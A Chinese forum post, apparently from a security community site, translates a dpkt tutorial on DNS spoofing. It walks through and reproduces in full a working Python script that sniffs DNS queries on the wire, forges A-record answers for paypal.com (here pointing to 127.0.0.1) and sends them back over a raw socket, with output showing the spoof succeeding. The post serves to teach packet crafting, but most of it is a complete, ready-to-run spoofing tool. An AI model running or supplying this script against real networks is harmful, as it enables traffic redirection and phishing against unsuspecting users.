首页
社区
课程
招聘
[翻译]python dpkt库文档翻译之#3:DNS Spoofing
发表于: 2016-10-7 22:30 7529

[翻译]python dpkt库文档翻译之#3:DNS Spoofing

2016-10-7 22:30
7529

dpkt Tutorial #3: DNS Spoofing
原文地址:f3dK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6B7L8$3&6Q4x3X3g2G2j5X3g2J5K9r3g2A6k6r3g2Q4x3X3g2G2M7X3N6Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9H3z5q4)9J5c8U0p5J5i4K6u0r3x3U0m8Q4x3V1k6V1M7r3E0@1i4K6u0V1N6s2g2@1L8%4u0A6j5h3I4Q4x3X3b7K6i4K6u0V1k6r3&6K6i4K6u0V1M7%4m8G2L8$3k6A6L8X3N6Q4x3V1j5`.
为了本教程更加好读 我添加了个dns报文格式

在我们的第一和第二部分的dpkt教程里,我们可以看到简单的结构和数据包各个部分的解析。我们第三部分教程在一个DNS spoof(按dsniff的dns欺骗方法讲述)应用程序中结合了解析和创建数据包。
        Dpkt在创建和解析数据包上是一个非常棒的框架。然而dpkt并没有很多文档,一旦你熟悉使用这个模块,其余方面就相当容易了。我将会用一些简单的小任务作为 dpkt 教程,希望能提供一些文档的例子。如果你有任何项目想要用 dpkt 库完成,就写信给我。

        在本部分教程中,我们将使用dpkt库解析线路中的DNS请求和创建欺骗的DNS响应发回去。在这个例子中,我们同样会使用dnet库和pypcap库。因为在这之前,你已经读完了第一和第二部分教程,我们将认为你对用dpkt库解析和创建数据包较熟悉。

        Dpkt库最普遍的用法之一就是解析线路中的数据包,而pypcap库会使这变得简单。我们将会开始通过设置pypcap的BPF表现成“udp dst port 53”的形式,因为我们仅仅了解DNS请求和用dpkt库解析每个数据包来传递给我:

pc = pcap.pcap()
pc.setfilter('udp dst port 53')

for ts, pkt in pc:
    eth = dpkt.ethernet.Ethernet(pkt)
    ip = eth.data
    udp = ip.data
    dns = dpkt.dns.DNS(udp.data)
接下来,我们需要在解析DNS payload方面进行一些验证,因为我们想欺骗响应合法的DNS请求。在接下来的片段,我们确保DNS payload是一个真的请求,在这个查询部分有一个单独的RR,没有响应或名称服务RR。并且RR在这个查询部分是一个A记录和IN类:
if dns.qr != dpkt.dns.DNS_Q:
    continue
if dns.opcode != dpkt.dns.DNS_QUERY:
    continue
if len(dns.qd) != 1:
    continue
if len(dns.an) != 0:
    continue
if len(dns.ns) != 0:
    continue
if dns.qd[0].cls != dpkt.dns.DNS_IN:
    continue
if dns.qd[0].type != dpkt.dns.DNS_A:
    continue
        如上小节所示,dpkt库的DNS模块解析DNS payload(qd,an,ns,ar)各个部分到python列表。这将在构造我们的响应之时派上用场。除了验证DNS payload,我们仅仅想欺骗响应某些特殊域名。在此例中,我们仅仅欺骗响应paypal.com:
if dns.qd[0].name != 'paypal.com':
    continue
现在我们解析和解码DNS请求,我们需要构造我们的欺骗响应并且把它发送给客户端。我们可以重用已经存在的一个请求并适当地修改它,而不是从头开始构建一个新的包。首先我们通过设置DNS头的属性,表明它是一个响应:
dns.op = dpkt.dns.DNS_RA
dns.rcode = dpkt.dns.DNS_RCODE_NOERR
dns.qr = dpkt.dns.DNS_R
接下来,我们需要创建我们的伪造RR,这个RR将会包含在DNS响应的回答部分中。我们创建一个类型对象dpkt.dns.DNS.RR并把伪造RR填入:
arr = dpkt.dns.DNS.RR()
arr.cls = dpkt.dns.DNS_IN
arr.type = dpkt.dns.DNS_A
arr.name = 'paypal.com'
arr.ip = dnet.addr('127.0.0.1').ip
为了达到本教程的目标,我们的欺骗回答RR会宣称paypal.com在127.0.0.1。因为dns.an是一个python列表,我们可以简单地添加这个arr对象给它:
dns.an.append(arr)
如果我们打印出这个dns对象,我们可以看到在查询和回答部分的正确RRs:
>>> print dns
DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)
现在,我们的DNS payload完整了,我们接下来必须在原始数据包中补充好UDP和IP层。因为我们正重用已存在的数据包并且想把它发回给客户端,我们这动作就像是服务器的一样,我们仅仅交换了源和目的端口号和地址:
udp.sport, udp.dport = udp.dport, udp.sport
ip.src, ip.dst = ip.dst, ip.src
接下来,我们需要附加上我们新的DNS payload。我们通过分配dns对象给udp对象的数据属性做到这个。并且因为我们修改了DNS payload的长度,我们需要适当地更新UDP层和IP层的长度属性:
udp.data = dns
udp.ulen = len(udp)
ip.len = len(ip)
我们可以看一看我们的完整的payload,包含着IP,UDP和NDS  payload:

>>> print ip
IP(src='\x8d\xd5\x04\x04', off=16384, dst='\x8d\xd4n\xa3', sum=3577, len=72,
p=17, id=40555, data=UDP(dport=49008, sum=36486, sport=53, ulen=52,
data=DNS(an=[RR(name='paypal.com')], qd=[Q(name='paypal.com')], id=21825, op=32896)))
最后,我们可以校验和,然后通过我们的原始socket发送出去:
buf = dnet.ip_checksum(str(ip))
sock.send(buf)

这就是本教程的结论!当我们运行DNS欺骗脚本并且尝试联系为paypal.com,我们看到它成功地欺骗了回复:
jonojono@jonojono ~ $ ping paypal.com
PING paypal.com (127.0.0.1) 56(84) bytes of data.
64 bytes from localhost (127.0.0.1): icmp_seq=1 ttl=64 time=0.022 ms
...
本教程完整python脚本如下:

#!/usr/bin/env python

import dnet, dpkt, pcap

sock = dnet.ip()

pc = pcap.pcap()
pc.setfilter('udp dst port 53')

for ts, pkt in pc:
    # parse the packet
    eth = dpkt.ethernet.Ethernet(pkt)
    ip = eth.data
    udp = ip.data
    dns = dpkt.dns.DNS(udp.data)

    # validate the DNS query
    if dns.qr != dpkt.dns.DNS_Q:
        continue
    if dns.opcode != dpkt.dns.DNS_QUERY:
        continue
    if len(dns.qd) != 1:
        continue
    if len(dns.an) != 0:
        continue
    if len(dns.ns) != 0:
        continue
    if dns.qd[0].cls != dpkt.dns.DNS_IN:
        continue
    if dns.qd[0].type != dpkt.dns.DNS_A:
        continue

    # only spoof for our target name
    if dns.qd[0].name != 'paypal.com':
        continue

    # transform DNS query into response
    dns.op = dpkt.dns.DNS_RA
    dns.rcode = dpkt.dns.DNS_RCODE_NOERR
    dns.qr = dpkt.dns.DNS_R

    # construct our fake answer RR
    arr = dpkt.dns.DNS.RR()
    arr.cls = dpkt.dns.DNS_IN
    arr.type = dpkt.dns.DNS_A
    arr.name = 'paypal.com'
    arr.ip = dnet.addr('127.0.0.1').ip

    dns.an.append(arr)

    # fix up IP and UDP layers
    udp.sport, udp.dport = udp.dport, udp.sport
    ip.src, ip.dst = ip.dst, ip.src
    udp.data = dns
    udp.ulen = len(udp)
    ip.len = len(ip)

    print `ip`

    # send out spoofed response
    buf = dnet.ip_checksum(str(ip))
    sock.send(buf)


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回